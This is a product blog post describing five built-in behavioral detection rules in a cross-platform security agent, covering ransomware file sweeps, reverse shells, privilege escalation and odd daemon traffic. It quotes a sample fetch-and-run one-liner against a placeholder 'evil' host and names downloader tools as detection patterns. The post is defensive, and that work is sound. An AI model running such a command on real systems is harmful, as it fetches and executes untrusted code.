Back to Blog

Behavioral Security Monitoring Without Writing Rules

Christopher 6 min read
securitybehavioral-detectionransomwarecross-platform

From the start, I wanted ET Ducky's kernel-event stream to power both performance diagnostics and behavioral security. The data is right there. The question is what you do with it.

The Windows agent has had an always-on ETW behavioral monitor for a while. It watches for ransomware-style file rename bursts, shadow-copy deletion, backup sabotage, and certain exec chains. It can automatically network-isolate a host on high-confidence detection. What's new in May 2026 is a second layer running on both Windows and Linux from a single rule definition.

The shape of the rule engine

The cross-platform rule engine is a small piece of code that subscribes to the agent's kernel-event stream (ETW on Windows, eBPF on Linux). Each rule registered with the engine sees every event in turn and decides whether to fire. The engine cares about three properties:

The five rules that ship with the agent today were chosen because they cover the patterns we have actually seen attackers use, and because they have evidence trails an operator can verify quickly. Anomaly detection that fires without showing what triggered it is worse than no detection.

Rule 1: suspicious-exec-chain

The classic one-liner attack: curl http://evil/payload.sh | bash. The rule watches for a shell process spawning a network downloader (curl, wget, certutil, bitsadmin) and the downloader's PID then spawning another shell within 30 seconds. The 30-second window is tight enough that legitimate workflows ("git clone, then run the post-checkout hook") almost never cross it.

When the rule fires, the evidence panel includes the original shell-to-downloader exec and the downloader-to-shell exec. Two events, three PIDs, in the right order, with the parent-child relationships intact. The operator does not have to query an event store to see what triggered the alert.

Default severity: High.

Rule 2: mass-file-access

The textbook ransomware behavior pattern. The rule keeps a per-process sliding window (5 seconds wide) of distinct file paths and fires when a single process touches 200+ distinct paths in that window AND the paths span at least 3 user-data root directories. The cross-root requirement filters out legitimate sweeps. Backup tools, code indexers, and find -exec commands typically stay within one tree. Ransomware does not.

The detection ships an evidence sample: ten of the most recent file accesses, with timestamps and paths. That is enough to look at the alert and say either "yes, this is the encryption sweep" or "no, this is the indexer; tune the rule". Both answers are useful, and the second one is fast.

This is a baseline rule. A stealthy ransomware that throttles to one file per second under our 200/5s threshold will not fire it. That is acceptable for v1; we are after the loud unsophisticated case which is what most commodity ransomware does. Slow-and-low ransomware is a different rule, and one we will write when we see it in the wild.

Default severity: High.

Rule 3: reverse-shell-heuristic

This one is heuristic by design. The "perfect" reverse-shell detection requires LSM hooks or tracee-style fd inspection that we do not have on Linux without AppArmor or eBPF LSM hooks. What the rule can see is the temporal coupling: a shell exec correlated with a recent network event in the same process tree. Ten-second window, both the process and its immediate parent considered.

The reason this is heuristic is that legitimate session daemons (sshd accepting an inbound connection and spawning bash for the new session) trigger the same pattern. The evidence panel includes the network endpoint, so the operator can see whether the remote address is the office VPN exit (legitimate sshd accept) or a shady IP in a hosting region (suspicious).

Default severity: High. We err toward firing because the false-negative cost is high, and we lean on the evidence trail to make the false-positive cost manageable.

Rule 4: privilege-escalation-noninteractive-parent

Sudo, pkexec, su, doas, runas. The escalation binaries are the same across most threat models. What varies is the parent process. Humans almost always run sudo from a shell. Daemons and cron jobs do not, and when they do, it is usually because something has gone wrong or because someone has gone wrong on purpose.

The rule fires when an escalation binary is spawned by a parent that is not on a small allowlist of interactive parents (bash, sh, zsh, sshd, login, lightdm, gdm, terminal multiplexers, ET Ducky's own elevation flow). Conservative on purpose: cron jobs running shell scripts that call sudo will trigger this rule, and the right tuning for those is to either allowlist the script or to fix the cron job to not need sudo. Both fixes improve the security posture; the alert is doing its job either way.

Default severity: Medium. Lower than the other rules because false positives from cron and CI runners are more common.

Rule 5: unusual-outbound-from-system-daemon

Most system daemons talk to a small set of well-known outbound ports. sshd talks DNS (53), Kerberos (88), LDAP (389/636) for auth and SSH (22) for outbound jumps. systemd-resolved talks DNS (53), DoT (853), DoH (443). chronyd talks NTP (123) and DNS (53). An outbound connect from sshd to port 4444, or from systemd-resolved to a non-DNS port, is suspicious in a way that is reliably detectable.

The rule maintains a per-daemon expected-outbound-port set and fires on connections outside that set. Cooldown per (process, port) pair so a daemon hammering one weird port does not flood the buffer with one detection per packet.

Default severity: Medium. Same false-positive consideration as rule 4: if your environment legitimately has sshd reaching out to a non-standard port (jump-host on a non-22 port, for example), tune the rule. The tuning makes the security posture more accurate over time.

What you do not have to do

The point of shipping rules with the agent is that you do not have to write them. Most behavioral-detection products in the SIEM and XDR market spend most of their UI on the rule editor: come up with a query language, learn its semantics, write detections, version them, deploy them. That has its place when you are building a custom posture for a specific threat model. It is not what an operator who just wants "tell me if something on this fleet looks like ransomware" needs.

The five rules above are a starting position that catches the patterns attackers most often use against the kinds of environments ET Ducky's customers run. They are not the final list. The next batch will probably include file-integrity monitoring on key paths (/etc/passwd, /etc/sudoers, the Windows registry hives that carry persistence keys), credential-access detection (suspicious reads of /etc/shadow, lsass on Windows), and lateral-movement indicators (anomalous SMB or SSH from one host to another). Each new rule lands the same way: a single definition, runs on either operating system, ships in the agent without configuration.

For the customers who do want to write their own: that is on the roadmap. Database-backed rule definitions with hot update will let an operator define a custom rule in the dashboard, push it to the fleet, and see firings in real time without an agent reinstall. We are not there yet. The shipping rules are first.

Where the detections show up

Every detection writes a row to the per-organization AgentBehavioralDetections table with row-level security applied at the database layer, then pushes a Server-Sent Event to every dashboard tab open in that organization. The toast appears in the top right of the dashboard within seconds of the agent observing the pattern. Click it to open the side drawer for that agent, see the full evidence trail, and acknowledge the detection with operator attribution.

The detections are persistent. The toast goes away when you click it; the row stays in the table until someone acknowledges it. Bulk-ack is available for the case where one operator is closing out a batch of related detections at once.

The audit trail is what makes this useful at the MSP level. "Operator X acknowledged detection Y on agent Z at time T" is a query you can run, and the answer is durable.

Ready to see the rules in action?

Deploy an agent in minutes. Detections appear in the dashboard within the first heartbeat after a rule matches.

Get Started Free